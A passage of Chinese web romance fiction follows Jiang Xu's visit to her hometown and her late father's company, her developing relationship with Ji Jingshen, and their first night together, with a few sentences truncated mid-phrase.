【方便。】 语音电话很快打了过来,江小满应该是抽空出来的,声音刻意地压低着:“季总,姜宝怎么了?” “今早她去参加了民江的董事会。”季惊深淡声道。 “那我大概知道了。”江小满轻叹一声:“季总,等会我给你发个地址,不出意外,她应该会在那里。” “谢谢。”季惊深温声道:“这两次都多谢江主管了,转账是一点心意,还请收下。” “不用。季总,姜宝是我朋友,我为她做什么都是应该的。” 电话挂断。 季惊深看着上面的地址,吩咐了一句:“去申请航线,去南江。” “好的季总。”- 姜许回到南江已经是下午三点多了。 许久不回来,很多地方都很陌生。公交没坐对,绕了一圈,买了束花,在墓地前坐了很久。 絮絮叨叨的,聊了很多。 直到夕阳降临,周围彻底暗了下来,姜许直接打车去了航街。最开始她就是住这的,后来这一片都拆了,又重新建了城区。四周都是高耸的小区,前面还有个公园。 姜许有些饿,路边买了点小吃的压了压肚子。酒店订好了,睡意遥遥。又点开关注的几个博主,记下调酒配方后,她走进当地连锁的一家大型超市。 东西齐全,姜许按照着配方买了底酒和饮料搭配着。睡衣也得买一套,来得匆忙,贴身衣服什么的都没准备—— “你还敢买他家的产品啊?” 旁边传来一对小情侣的声音。 姜许转头看去,女生很嫌弃地从男生手中抢走那瓶再熟悉不已的日用品,一股脑塞回货架:“我朋友用了这玩意,身上起了很多疹子。” “不会吧。”那男生摸了摸鼻子,有些不解:“我们一家好多年都用这款。我跟你说,这老国货还是从我们这里起家的,多厉害。再说了这沐浴露我都用了十几年了,没准是你朋友皮肤敏感呢。” “什么我朋友皮肤敏感,他们家产品本来就有问题好不好!让你多看书多看报,前段时间他家就已经爆出巨雷,多项指标都不达标!” “不可能的啊,这可是良心国货,十几年的老牌子了。”男生依旧不甘心。 “呵呵,良心?涨价涨了一倍,上次直播我可看了。找了几个胸大的女主播,为了多卖出几瓶,那个动作真的是,不堪入目!还良心呢,我只觉得恶心!” 女生越说越气,最后放狠话要闹分手。男生没辙,赶忙好声好气地哄着。 “我不用他家产品了,宝宝,你别生气,我真不用了,我让我爸妈也不用。你讨厌的,我也讨厌好不好……” 声音逐渐远去。 姜许的视线逐渐收了回来,心烦意乱地结了账。 从超市出来,她望向一旁的小卖部,神使鬼差的,走到那货架前,随手指了指:“给我来一包。” 火机也要了一个。 手上的东西太多,好在旁边就有长椅。 姜许笨拙地点了火,学着姜祁州平时心烦时候的样子,猛地吸了一口。 呛鼻。 刺痛。 烟卡在喉咙里,辣得她眼泪都快出来了。 烟雾缭绕之际,姜许似乎看到了一个本不应该出现在这的人。 她晃了晃神,手指一点点地落了下去。 如云般的白雾缓缓散开,夜幕之下,男人面容逐渐清晰。 季惊深。 姜许像是个干了坏事被抓包的小孩子一样,脸色有些窘迫。 好烦。 她就仅有两次学着尝试尼古丁的味道,一次被姜祁州给抓包,当天虽没说什么,可是事后却长篇大论把她训斥了一顿。 而现在,十年之后,再一次被季惊深给抓包了。 “你怎么在这?”姜许抬头看他。 季惊深没回答,只是视线落在她手指间的那根烟上。 “我就只——” “这款味道太呛,不适合你。”季惊深说,平静又温柔地告诉她:“要是想试试的话,我可以给你推荐几款适合女生的香烟。” 姜许哑然,呐呐地道:“女生抽烟是不好的吧?” “男人也一样。”季惊深走到她的跟前,在姜许跟前蹲下身子,和她平视着:“实在好奇,尝试几次也没关系。至少,它现下能让你的心情稍微好一些,就不算太糟糕。” 至于以后,他不会让姜许上瘾。他只是,希望尊重姜许一切想法。包括在某些情绪无法控制的时刻,想要*做出的,略有些出格的事。 反正,有他在,什么事都不会发生。 季惊深伸手,轻轻拂过落在姜许肩头的花瓣,黑眸温柔:“抱歉,知道你想一个人散心,可我还是跟过来了。你要是不喜欢,在送你回到酒店之后,我就离开。” 季惊深的话如同温柔刀一样,一点点破开姜许高高筑起的城墙。 她从不爱任何男人,至多是喜欢,便已经是难得。 可现在,她好像有一点,爱上面前的男人了。 “季惊深。” “我在。” 姜许看了看手里没燃灭的烟,鼻间酸涩得很:“你帮我把烟丢了。” “好。” “然后再过来抱抱我。” “……好。” 第42章 第42章【VIP】 姜许是被季惊深背回去的。 她说什么也不想走了,赖在长椅上好一阵。直到季惊深半蹲在她面前,她才毫不犹豫地趴了上去。 南江的夏夜更燥热些,蝉鸣声从树梢上传来,叽叽喳喳的,声音此起彼伏。 姜许也不觉得热,哪怕是黏糊得脖子都冒出了细密的汗,也要紧紧地搂着季惊深的脖子,声音又轻又低:“以前南江这边最出名的企业就是民江了。” 本地新起的国货牌子,加上最初创业的那几年,姜广随为了推广自己的产品,厚着脸皮去一家一户地敲门,恳请他们免费用,只要能告诉他哪里做得不好,哪里需要改进,就足够了。 产品改了一年又一年,姜许有记忆那年,已经是家喻户晓的国民牌子。价格亲民,又好用。那时候超市的货架上还没有那么多种类的牌子,一整面,几乎摆的都是他们民江的东西。 还年幼的姜许一下课最喜欢跑到超市里面,随手指着一整面墙:“那是我家的东西,可好用了。” 四周的孩子或多或少投来几分羡慕崇拜的眼神,让姜许骄傲得不行。 她回家乐呵呵的,扑进姜广随和许清秀的怀里,还没来得及炫耀,就见姜广随很快地起身,从枕头底下翻出了存折,面色凝重。 小小的姜许不清楚发生了什么,只是跟在许清秀的身后,看着姜广随请了个镇上的医生进了一户人家中。 许清秀说,那家人用了他们家的产品,后背溃烂。姜广随又是赔礼又是道歉,直到医生确诊,这是不干净的病之后,那人脸又红又紫。两个老人家为自己的儿子臊得慌,把礼物退给姜广随,姜广随一句话未说,只是留下了一些钱。 那个夜晚,姜许被姜广随牵着。许清秀抱怨他是冤大头,被平白污蔑还给了那么多钱。 姜广随沉默了良久,笑道:“只要他能痊愈就好。我们做生意,又不只是为了赚钱,回馈给人民才好。” 姜许到现在,依旧觉得她爸傻兮兮的。十几年价格不变,赚来的钱大多数做了慈善。别人笑他们家是暴发户,看着名气大,实则也就那样。姜广随也不生气,乐呵呵地和人说笑。 可她尊重姜广随。人各自有想法,能十几年不改初心坚持,实在是难得。在姜广随死后,她没能留住父母,没能留住北安的那套房子。唯一的念想,也就是民江了。 做人民的企业。 这个梦想实在是太大太遥远了,姜许自认为她没有那么无私,也做不到。所以在姜广安答应会继承姜广随遗志之后,她选择放弃去争民江。 可现在,民江也变了。 “伯父伯母白手起家的事迹,我略有耳闻,的确很厉害。”季惊深的嗓音伴随着蝉鸣声一起落进姜许的耳中。 姜许声音更闷了两分:“唉,要是我爸知道民江这样的话,估计气得棺材板都压不住了。” “守住初心太难得,并不是所有人都像是伯父一样坚毅。” 季惊深走进酒店,背着姜许进了电梯。 身后的人没有说话,只是借着面前恍惚的倒影看了个大概。眉头轻轻蹙着,眼眉耷拉。季惊深轻轻地叹了一声,走出电梯,将房门打开。 姜许没有委屈自己,酒店算是附近最好的,一室一厅的大户型,环境干净。季惊深小心翼翼地把人放在沙发上,温声道:“先去洗澡?” “嗯。”姜许点头。身上有汗,黏糊糊的,的确不舒服。她又扒拉了一下脸,有些崩溃:“我没买卸妆的。” 早上要出席会议,姜许气势不能输,花了好长的时间去弄了个全妆。本来在超市时,要买东西的清单都列好了,偏偏闹了那么一出,一二来去姜许就给忘了。 “我去给你买。”季惊深道:“有没有想吃的?” “想喝奶茶。” “好,在这里等我一会。” 季惊深下了楼。 他并不熟悉这边,只是按照着手机上的导航到了最近的超市,买了些必需品。 等他再次回到房间里时,姜许已经睡着了。 早起开会,又折腾了大半天,困了也是实属正常。 低头看了一眼袋子,季惊深思索两秒,在网上搜索了一下教程。然后笨拙的,将卸妆水倒在湿巾上,一点一点地在姜许的脸上擦拭。 偶尔引来姜许梦中低喃的不满,季惊作放得更轻了一点。等到全部卸干净,他 进到卫生间中,季惊深洗了个澡。衣服已经吩咐下去,明早会有人送来。今晚,他便暂时先用这里的浴袍。 来得匆忙,毫无准备,。 头发随意地擦了两下,卧,他担心会吵到姜许。 等出来后,手机已深扫了一眼,握着手机合上了房间的门,,才稍稍放心下来。 “爸。” “你跑哪去了?!”季澜之气得不行:“今晚是董老的八十大寿,我不是让你腾出时间过来的吗?” 董家发源于北安,这几年生意逐渐到港岛那边,话语权不轻。逸安想要达成和海外港岛那边的合作,这一层关系,的确要打好。 “在忙别的事。”季惊深低声道:“您老最近也没事,不如回逸安帮帮忙。毕竟才五十多的年纪,退休实在是早了点。” 季澜之差点都被气笑了。还忙别的事? “为了那个姜许吧?”他糟心得不行:“惊深,我以为你明白孰重孰轻。” 是。 他一直明白。 季澜之和季老爷子都教导过他,感情只是受情绪所控制的一种感觉而已,比起一时的感情,逸安、季家,才是更重要的。 所以张素琴五十岁生日时,他因为要赴约一场合作,只送了一份礼物代为祝贺。所以方厌感情受伤郁郁寡欢时,他因为忙着稳住英国那边,只给了只言片语作为安慰。所以苏老爷子当年病重在医院时,他因为季澜之看中的一块地皮,只隔着视频远远地看了一眼。 这些年,他如季澜之所愿,坐稳逸安,成为季家最骄傲的接班人。 合作,项目,这些永远不会停。这个机会没有了,还会有下一个。可有些事,现在不做,未来几十年,他都会在后悔中度过。 对他而言,总有比合作更重要的事。 “爸,您儿子是个人。”良久,季惊深很轻很淡地说了这么一句:“我有自己的感情,也有自己想要偏心的人和事。” “……我怎么教出你这么个儿子。” 季惊深静默片刻,语气更淡了:“您老依旧老当益壮,对我失望至极的话,不如趁着这段时间,再要一个。” “……” 电话被挂断。 季惊深也不在意,动作轻慢地回了房间。目光扫过那杯搁置在桌面的奶茶,定格两秒,浅尝了一口。很甜,是姜许喜欢的。 他慢慢地把奶茶喝完,洗漱了一番,望向床上的隆起。 这里只有一间房,沙发太小了,他不想委屈自己。 更重要的事,那天姜许说过他的。 纯情。 他从来都不是。 轻轻掀开被子的一角,季惊深躺了上去。察觉到身侧多了个人,睡梦中的姜许嘀咕了一声,翻身将腿压了上来。 夏天衣服单薄,偏偏姜许压着的地方,正中靶心。 那晚的欢愉感觉似乎又蔓延上来,季惊深的呼吸重了几分,偏头看过去,入目的是姜许那张熟睡的小脸。 季惊深再次闭上眼,克制自己不再去想旖旎的画面。 这个夜晚,注定是熬人的一夜。 昨晚睡得早,姜许也醒得早。 才八点多,还算是凉爽的时候,姜许便醒了。 伸手一探,身侧是炙热的身体,她睁开眼,脑子宕机了两秒,才缓慢地回过神来。 在姜许的手碰过来时,季惊深便已经醒了。属于早晨的正常反应正高高挂起,他不动声色地起身侧对姜许:“想吃什么早餐?” “都可以。”姜许的兴致不高,没什么胃口。 季惊深派人买来的早餐,她也只是浅尝了两口,百无聊赖地趴在沙发上,郁闷了好一会之后,又满血复活地爬了起来:“季惊深,爬山吗?” “现在?” 季惊深朝外看了一眼正高挂空中的太阳,提醒了句:“现在外面很热。” 南江的夏天比北安可热多了,这会又是盛夏,外面的体感温度差不多到了四十度。平时冬天都恨不得为了美只穿吊带的姜许,确定在这个点爬山,不会搁浅在山上? “我知道一座山,一路爬上去都是树荫。”姜许依旧兴致不减。 季惊深也没再多说,只是吩咐人送来了防晒霜,仔仔细细地看着姜许把全身上下都给抹了个遍,才肯把人放出去。 上回出门吃东西,太阳晒了几分钟,姜许就嗷嗷叫唤了好一阵。晚上光是敷面膜就弄了二张,生怕自己会变黑。 姜许说的那座山,在南江有些年头了。爬到山顶有座寺庙,十几年前没什么人知道。可姜广随很信这种,隔二差五就带着姜许爬上来拜一拜,说不上供奉的是谁,只是拜事业的也有,拜姻缘的也有。 后来这边荒凉了好几年,最近又热闹了起来。来的大多数都是年轻人,求一个财运。不过这会正是炎夏,人不算多,陆陆续续也见到一些,比热闹的秋冬时候,少了不少。 姜许还是高估了自己,原本以为睡了一觉之后电量充满,刚爬到二分之一,就累得不行。磨蹭着扶着栏杆,她看向季惊深。 男人穿着一身轻便的运动服,脸上没见多少细汗,气息依旧匀称平稳。对上她的视线时,嗓音里含着几分笑意:“现在下山还来得及。” “不行,我要爬上去。”姜许轻呼了一口气,开始调整体力。身侧伸过来一只手,轻轻扶着姜许,托了几分力过来:“慢慢爬,不着急。” “好。” 姜许调整呼吸。 快到山顶时,姜许的体力差不多已经耗尽,脾气也略显暴躁起来。 季惊深始终温柔地安抚着她,像是哄小孩一样:“很快了,等会下山我们坐缆车,带你去吃好吃的。” 姜许被逗笑了,扶着山壁喘了两口气:“季惊深,你一直这样吗?” “什么?” “就是,情绪稳定,泰山崩于前都面不改色。” 连姜祁州她都见过发脾气的样子,可季惊深没有。哪怕事情不在他掌控之中,他好像也是这幅模样,波澜不惊的,也只有偶尔吃醋的两次,可情绪依旧克制得很好。 要是她吃醋起来,真要在乎得紧,砸东西,撒泼,倒也是正常的。 “也没有。”季惊深道:“年轻气盛的时候,也会生气,发火。” 姜许来了兴趣:“那你生气一般会做什么?” “练字,下棋。” “……” 季惊深还以为姜许觉得自己高高在上和普通人不一样,又补充了一句:“小时候我身体不太好,不能情绪波动太大。久而久之,这性子也就养成了。只是我也会生气,不过是发泄的方式和你们不同。” “噢。”姜许点头,还是觉得累,整个人黏糊糊地靠了过去:“季惊深,给我点动力。” 她真的快要不行了,双腿根本抬不起来,膝盖像是有千斤重一样。 “姜许,你想要做的事,我想帮你。” 姜许一怔。又听到季惊深继续道:“没机会见到伯父伯母,那么这份见面礼,自然不能少,这是作为女婿该有的礼数。” 姜许沉默下来,直到呼吸再次平稳,她才笑问:“我想做什么事?” “现在民江已经违背伯父的初衷,那么就不再是民江。” 不再是民江的公司,姜许不会有任何感情。所以,也不需要存在。 姜许良久地看着季惊深,男人黑眸深深,温润平和。她轻叹:“你是我肚子里的蛔虫吗?” “这是在夸赞我足够了解你吗?”季惊深托着她的手臂,领着她继续往前走:“姜许,我的荣幸。” 他不像周知禹那样会哄人,也不像黎江青那样温柔讨喜。但至少有一点他胜出,他比那些人,都足够了解姜许。 “……这不是荣不荣幸的事。”姜许瘪嘴,无语地瞪他一眼:“我这叫大逆不道。要是真成功了,我大伯他们一家,绝对会砍了我的。” “不是大逆不道,你只是在做你认为对的事。” “可我很没用的。我在经商方面一点都不懂,你看,别人都说我废物,自己爸妈的家业都没守住。” “姜许,有用的定义不是这样的。”季惊深说:“你在你的世界里,保护了很多人,已经足够厉害了。” “诶。”姜许鼻间酸酸的:“季惊深,你怎么这么好。” “还不够。”季惊深将她托举到山顶。 日落降下,暖色的金光落了下来,在姜许高高盘起的发梢镀上了一层很浅的光晕。 “姜许,我还不够好。” 他要好到,让姜许心甘情愿地和他共度这一辈子。 第43章 第43章【VIP】 在南江只待了两天。 回到北安之后,季惊深便忙碌了起来。 有的时候一整天都见不到人。姜许睡着之后他才回来,姜许醒之前,季惊深已经去上班了。好不容易调整回来作息的姜许开始后悔。 不熬夜,连季惊深都见不到。 “我要进组了。”沈好好的声音把姜许从思绪中拉回来。 “可能要一两年。这次作品适合我转型,只是拍摄时间长了点。” 这段时间沈好好的状态好了不少,刚刚获得一个奖项,还拿下了国际品牌的高奢代言。季安棠押宝也押对了,逸安名下和沈好好代言的品牌前几天销售榜直接冲到了第一。 她是听闻之后的沈好好接到了不少剧本邀约,却一直没有爆出下文。直到现在……那位梅导的剧本,五年磨一本,本本经典流传。 “恭喜。”姜许由衷地祝贺沈好好:“下次再见,我是不是得喊你一声沈影后了?” 沈好好无奈地看她一眼:“恭喜的话说得太早了。梅导对于演技要求很苛刻,没准我去几天就被踢出来了。” “那不可能。”姜许笑笑。她对于沈好好很有信心。 沈好好也笑。她如愿在自己的星途上发光发热,这是她的初衷。直到现在,她依旧庆幸着自己选择了这条路。 只是—— 她从包里拿出一个长形的礼物盒:“这是我送给姜祁州的礼物,他快要生日了吧?麻烦帮我祝他,一帆风顺。” 午饭过后,姜许便去了锐安。 车上玩着手机的空档,她回了几条秦知瑶的消息。秦知瑶最近也很忙,据说去拍综艺了,还有十几个线下活动的邀约,每天忙得脚不沾地。江小满也新接了一个项目,到处出差。甚至俞晓染都跟着俞伯父跑到了巴黎那边谈合作,只有她,最近在无所事事。 车子在锐安停下后,姜许轻车熟路去了姜祁州的办公室。 姜祁州正在开一个线上会议,余光瞥见她,指了指一旁的冰箱,又很快收回视线,专注于工作之上。 姜祁州的办公室很大。 最开始创业的那两年,也就二个小房间。姜许偶尔来慰问他工作,连吃饭的地方都没有。到后来,办公室里配备了休息间,还有冰箱,装着的都是姜许平时爱吃的小玩意。这会她也不饿,坐在沙发上玩着手机。 两分钟前,季惊深发来的消息她还没看。 【今晚一起吃饭?】 从南江回到北安之后,季惊深都快忙疯了,这都快一个月了,除了偶尔能在家一起吃个饭之外,他基本都是在各种饭局上。 【好。你来接我?我在姜祁州这里待一会。】 【可能赶不及。】 【五点半还有个会议,我让人去逸安接你过来。对面商场预约了包厢,晚一点带你去看电影。】 也行。 姜许应了下来。 姜祁州的这个会议足够长,姜许都午觉睡醒了,才看到他那边收尾。合上笔记本后,姜许起身,给人倒了杯温开水过去。 姜祁州看了一眼,没动:“我不喝温白开。” 他喜欢咖啡,无糖黑咖啡。很提神,适合高强度工作的时候。 姜许横他两眼:“再喝下去,褪黑素都不管用,你该去开安眠药了。” “生前何必多睡。” “呵呵。”姜许冷笑:“那也没让你挂得那么早。” 吵吵闹闹的,姜祁州这会是真的没了什么困意。按了按困顿的眉心,他又翻开一份文件,随口问道:“来找我有事?” “来看你不行?” 姜祁州挑眉,显然不相信这鬼话。 自从自己这个堂妹和季家那位在一起之后,家都不回。要不是偶尔还会在朋友圈里面蹦跶两下,他都怀疑姜许是不是被拐了。 姜许也知道这假话听着一点都不真,翻了翻包,把礼物盒递过去:“有人托我提前给你带的,说是生日礼物。” 姜祁州心神微动,情绪翻涌了几秒,还是被他压了下去:“放在那吧。” 姜许找了个抽屉,认认真真地放进去,又道:“国庆能抽出空吗?” “怎么了?” “和你回一趟南江,我爸妈他们,应该也很想你了。” “好,我尽量抽出时间。”姜祁州握着钢笔,在文件上签署好名字,又道:“季惊深的住所我不方便派人,新一季的衣服和首饰都给你送到家里,回头有时间记得去拿。” 姜许嘟囔:“又买那么多做什么,我又穿不了。” 天气是真的热,她都快成了半个宅女。不愿意出门,在季惊深家里一下的风景,又逗逗池就是一周,她那衣柜里的好多衣服,连吊牌都没摘。 “钱多,没处花不 他知道姜许当然不在乎这些,只是季家终究是高门大户,关系宅见那帮人,姜许要是穿着旧款, “行。我就知道我哥对我最好。” “只是因为欠你钱。” “嘴硬。” “……” 就这么悠闲地过了一下午,姜许在去逸安的路途中,买了一束很小的花。只有九朵,却装扮得精致可爱。 前头的司机瞧见,笑着问了句:总买的?” “是啊,好看吗?” 司机点头:“好看,季总很喜欢花。” 很喜欢? 姜许挑眉,好像没听季惊深提起过。 她也问过,季惊深的回答是,没有什么特别喜欢的。 “平时没见到他提起过,季惊深家大业大,不会是舍不得给自己买花吧?”姜许玩笑似地提了一嘴。 “老爷子说花粉招蜂引蝶,还容易引起过敏。”司机轻叹了一口气:“先前季总小的时候还和夫人在前院种过花,后来全给拔了。真是可惜了,那花开得正艳,好看得很呢。” “这样啊。”姜许垂了垂眉,在快到逸安时,她改了主意。 “麻烦前头花店停一下。” “怎么了姜小姐?” “这束花太小了,配不上季惊深。”- 季惊深是真的很忙。 每天例会照旧之外,还有季澜之安排的各种饭局。和边野的项目开展得不太顺利,前期问题太多,季惊深不得不分神出来陪同季安棠一起处理。 等到又是一个会议结束后,季惊深紧绷了一天的身体才稍稍有所好转。取而代之的,是怎么都褪不下去的疲倦。 他在办公室里闭目养神了好一阵,直到胡泽提醒他,姜许快到楼下了,他才支起身体,朝楼下走去。 这会是距离下班点已经过了半小时,公司里的人依旧不少。最近项目急,不少部门需要加班。逸安给的加班待遇足够好,愿意为此付出时间的员工自然不在少数。 而六点半,正是他们决定歇息一会,点外卖或者就近在附近吃饭的时间。 一路上季惊深听了不少“季总好”,他颔首过去。直至目光落在大厅右边的休息处—— 姜许安静地喝着胡泽吩咐人准备的冰饮,宽大的桌面还放置在一束鲜艳的蓝玫瑰。今天她难得化了妆。 这个月来,姜许很少在脸上涂抹什么。外头烈阳高照,再好的护肤品在出门之后,都得糊成一团。所以,今日的姜许也只是化了个淡妆。 打了底,描了眉毛,涂了口红。 头发高高扎起。 不像是他们所说的,嚣张跋扈,反倒像是一个稚嫩的小女生。 大概是他的目光太过炙热,姜许放下冰饮,和他的视线对上。 不是很好喝,但是胜在凉爽。 姜许只喝了两口,就抱起那束大得有些过分的蓝玫瑰,朝季惊深走去:“忙完了?” “嗯。”季惊深从她手里接过玫瑰花:“哪里来的?” “店里买的,送给你。”姜许朝他笑,又仔细打量他的脸:“唉,辛苦我们季总了。操劳了一个月,瞧着都蔫吧了。给你送束花,心情有没有好一点?” “见到你就好很多了。”季惊深垂眉,黑眸柔柔:“冰饮不好喝?” “……”还说不是她肚子里的蛔虫。隔着那么远呢,就能知道她不喜欢? “不喜欢草莓味的。”姜许说,想了想:“也不喜欢巧克力味的。” 不至于到很排斥的地步,只是她也不会喜欢就是了。 季惊深默默记在“姜许挑食清单”上,又问:“有没有特别喜欢的味道?” 他只记得姜许很喜欢喝有关于芒果味的所有奶茶。 身边的人突然停下了脚步,季惊深侧头看过去,对上姜许异常认真的眼神:“那你呢?不说特别爱吃,就是,比较喜欢吃什么。” “和你一样。” 又是这种回答。 姜许撇嘴,刚想反驳,又听到季惊深说:“我在吃的方面,真的没有太大的讲究,什么味道都可以。只是你喜欢吃的,看着你吃会开心的,我会很喜欢。” “……季惊深,还没吃饭呢。” 这男人明明是在赤.裸.裸的诱惑,太犯规了。 季惊深:“?” “吃饱饭了才有力气吃你。” “……那我们,今晚先不看电影了。” “那不行,我等好久了,再不看都下架了。” “……” 两人逐渐走远。 约好着要去吃饭以及早就拿到了外卖的员工们你望望我我望望你。 “那位……季总女朋友?” “不然呢!安棠总我可见过,至于那位季四小姐,还在读书呢。” “不是吧,假的吧,是不是家里安排联姻的?” “不是。”胡泽面无表情地走过,淡定地在人民群众里补上了一句:“真情侣。” 员工:“???” “噢噢噢我好像记起来了!”有个沾亲带故进来的男人突然一拍脑袋:“那个不是姜家那位嘛,肯定是她死乞白赖追求季总。” “我就说嘛……季总看着就是那种,只要豁出面子去追,软磨硬泡还是有机会的类型。” “也不是。”熟知全过程的胡泽捧着自己的保温杯,道破事实:“是季总先看上那位。” 最后再各种勾引姜小姐主动追求他。 “嘶……” 周围倒吸了一口凉气。 不解之后,又立马觉得合情合理。 毕竟那位性子他们不知道,可那张脸,却是实打实的好看。 胡泽心满意足地看着消息四散开来,舒心地下了班。 夜幕至。 黎江青结束了和导演的饭局,出来便看到黎江妄站在门口。指间染着烟,睥睨向他的眼神里依旧是带着几分嘲弄和不屑: “明天我回西宁。黎江青,你要是现在求我,姜许那女人的事,我可以帮你。” “不用了。”黎江青拒绝:“一路顺风。” 黎江妄爆了一句粗口:“行,你就这样不争气下去。” “这样也挺好的。”黎江青失笑。 面前的迈巴赫扬长而去,卷起一阵沉闷的热浪。 他低头看了眼手机,朋友圈里有熟悉的头像。 点开进去,是姜许前不久发的。 她懒洋洋地靠在沙发里,身后是个办公型的茶几。男人专注地看着面前的笔记本,侧脸染着笔记本里带着的暖光,温柔而又清冷。 配文:【季先生又在加班了。】 他良久地看着,最后,点了个赞。 — 电影到底是没看,一通突如其来的工作电话,打断了他们的约会进度。 躺在沙发上,百无聊赖的姜许看了一眼朋友圈。 清一色的祝99评论,俞晓染还特地私信了她:【我能截图发群里吗?】 【随你。】 这事其实也不需要特地问。她第一次在朋友圈里正式公开季惊深,就算俞晓染不截图宣扬,圈子里关于他们的事,肯定也是闹得沸沸扬扬。 按灭手机,姜许抬眼看了会挂钟。 八点吃完饭八点半回到家后就开始紧急加班,这会都两个小时了。 身体真的吃得消? 要是一两天还好,这可都一个月了。 二楼电梯口传来声响,姜许大步走过去,从阿姨手中接过补汤,端到季惊深面前:“先把汤喝了,休息会。” “稍等。”季惊深目不转睛,视线没从电脑上移开半分。 姜许:“工作是做不完的,季惊深,身体重要。你才二十八,透支过头以后会后悔的。” 季惊深微顿:“嗯,我知道。” 说是这么说,却依旧没有要喝汤的打算。 姜许放弃了。 简直和姜祁州一模一样,怎么劝都不听。让他们休息跟要了他们的命一样。 她也不劝了:“我回房看电视,你忙完了早点休息。” 窝回季惊深的大房间,她扭头开了投影。原本房间里是没有的,在她来了之后,这一个月内,造得七七八八了。 早就没有原本的沉闷,随处可见的小玩偶,深灰色的床单也变成了浅色系,四下散落的,还有姜许随手丢的衣服。 电影刚看了个开头,房门推开。姜许从玩偶中抬起头,嘟囔道:“汤喝了没?” “喝了。”季惊深说,走到床边,在一角坐下:“明天不去公司,陪你。” “陪我做什么?”姜许随口道:“我过两天有工作,估计也得忙。” “那明天呢?” “明天晚上得和季惊扬吃个饭。” “来得及。” 没头没脑的一句话,姜许不明所以地仰头看向男人。一个绵长的吻就这么没有预兆地压了下来。 唇齿交缠,舌尖的酒味混杂着西柚的味道。 月色更浓了一些。 直到安静的门口被人轻轻撞击着,姜许才后知后觉意识到。 季惊深这次是来真的。 “你……” “姜许。”季惊深的嗓音低哑。 “什么?” “纠正一件事。”季惊深扣着她的手,从领口往下摩挲。 直到隆起。 “没有蔫吧。” “……” “也不会透支。” “……” “我现在的身体很健康。” “亲自验证一下?” “……” THE END 第44章 第44章【VIP】 八点。 季惊深才幽幽转醒。 昨晚折腾得有些累了,姜许在他身下软得不像话。可唯独那做着指甲的手指在他背后肆意抓挠,再顺着脖子划入胸膛。 舒服了要抓一抓,吃痛了更是要抓一抓,毫不顾忌。斑驳着的,看上去有些惨不忍睹。 出来后,床上依旧高高隆起一个身影,呼吸沉沉。 季惊深静静地看了片刻,放轻脚步离开。 佣人们备好了早餐,最近这段时间,姜许哪怕是熬夜晚睡,早上也得起来早吃餐养胃。只是今天…… 要是这个时候喊她起来,她大概会立马搬回去住。 早餐准备得很丰盛。季惊深的胃口不错,昨夜消耗的体力有些大了,是该补充补充。 “先生,花要放在卧室吗?” 佣人处理好了那大束的蓝玫瑰,精致地摆放在花瓶里。 上次先生也收到过一束花,只可惜玫瑰的花期本就不长,不过是三五天就枯萎下去。先生不舍得丢,又转头吩咐他们晒成了干花,裱成相框放在收藏室里。 “先放在客厅。”季惊深道。 苏观明的电话打了过来:“惊深,这两天有空吗?” 季惊深往楼上走去,手搭在栏杆上微微顿住:“她回来了?” “是啊,昨晚才到的,谁都没通知,我晚上应酬回来还吓了一跳。”苏观明笑道:“原先是不打算回来的,这不,听闻自己快要有儿媳妇了,特地偷偷回来瞧上一眼。不过也只待几天,方便的话,你带姜小姐过来见一见。” “我问问她愿不愿意。”- 姜许这一觉睡得足够久,其实算起来不算是晚睡,十二点多就困得眯了眼。 只是她平时哪里会有这样的运动量,反复被折腾。 刚开荤的男人起初只坚持了十来分钟,她都已经累得脚酸,可偏偏季惊深却黑着一张脸,像是为了要证明什么一样。 从软床到沙发,到最后的浴室之中。全身都酸,大腿微微抽着,半点力气使不上。以前总觉得季惊深矜持又内敛,直到昨晚她才知道自己错得有多么离谱。 薄唇就没从她的身上离开过,一点点地亲吻。没有放过任何一处。怕是喷泉而至,他也依旧紧守泉口。 纯情…… 这大概是她说过的,最错误的话。 “醒了?” 姜许失神地望着天花板,房门便被季惊深推开。顺着声音看过去,男人的手里端着一份托盘,上面备满了精致的午餐:“先洗漱,吃点东西。” 她“噢”了一声,在被子里蠕动了两下,又感觉到大腿的酸疼。 “还难受?”声音骤然靠近,温和的手从被子底下探了进来,搭在她的大腿之上,轻柔地按着。他的指腹有些热,每一处都按在了酸疼的地方,舒服得让姜许直哼哼。 手法是季惊深早上现*学的,倒是可以安排按摩师上门。只是毕竟是他犯下的错,亲自弥补,才显得诚意在。 “都怪你……”姜许瞪他:“季惊深,你变了,你以前不是这样的。” “我是。”季惊深好笑地拂去她脸上的碎发:“以前都是装的,怕吓到你。” “……果然姜祁州说得对。” “他说了什么?”季惊深微微俯下身去,和她之间的距离骤然缩短。 姜许伸手掐住他的脸:“城府深,道行高。” 她自认为拿捏,实则都在季惊深的把控之中。 “不喜欢?”垂着的睫毛轻轻颤动了两下,黑眸灼灼,可姜许就是看出了几分不安。 “没有。”姜许摇头,手上的力道松了些许。 她也心如明镜。季惊深这样的身份,要是真不谙世事,早就活不下去了。况且,她最初喜欢的,就是他这一点。 虽然是上位者,却从没有俯视过任何人。反倒是,周到地考虑所有。 季惊深似乎很享受被她捏着的感觉,又把脸凑上来了两分:“不解气的话,打我一下?” 姜许气笑了,微微推开他:“我没那么小气。” “嗯,姜小姐真大度。” “……”这话怎么听着怪怪的。 约莫小半个小时,季惊深才掀开被子,横抱起姜许。确定她能站稳后,开好温水,把牙膏挤好。 姜许脑袋还是糊糊的,电动牙刷往嘴里一塞,时不时地动两下,剩下的时间,就只是紧盯着镜子中的自己。 脸色太红润了。 她肤色生得白,大概是基因遗传,和许清秀一样,带着南江那边的女生特有的肤色白皙。加之先前喜欢熬夜喝酒,脸上没太多气血。 这段时间她被季惊深养得不错,三餐按时吃,也没怎么晚睡喝酒,气色一点点地补了上来。乍一看,还真像是姜祁州所说的,吃了七八个季惊深补了血气。 拿上来的是午餐,两菜一汤,分量不多, 姜许慢吞吞地吃着,视线又不经意的,落在季惊深的身上。 “我妈昨晚回了北安。”季惊深替她,不怎么回国。这次回来,是想要见见你,你要是愿意,晚上 姜许还在发呆,回来,那我肯定……” “不想见就不见。”季惊深说,并不希望,并不是一直不回,以 倒也不是不想见。 姜许抿了抿唇,眼里透露几分担忧。 季惊深顿时了然,温和地解释一句:“她的性子和我爸南辕北辙,你不用担心。她一直都想要个女儿,肯定会很喜欢你。” “不骗我?” 姜许真是对季家的长辈有阴影了。 “不骗你。” 那,就见吧- 下午的时间,姜许去准备了礼物。 虽说季惊深那边已经准备好了,可她总觉得这心意得在。原本季惊深打算陪同,可却被季惊扬抢先。 “哥,你们都黏糊多久了,我都跟姜许姐好久不见了,就这一下午,你就让给我呗?” 季惊深不动声色地扫他一眼。 黏糊? 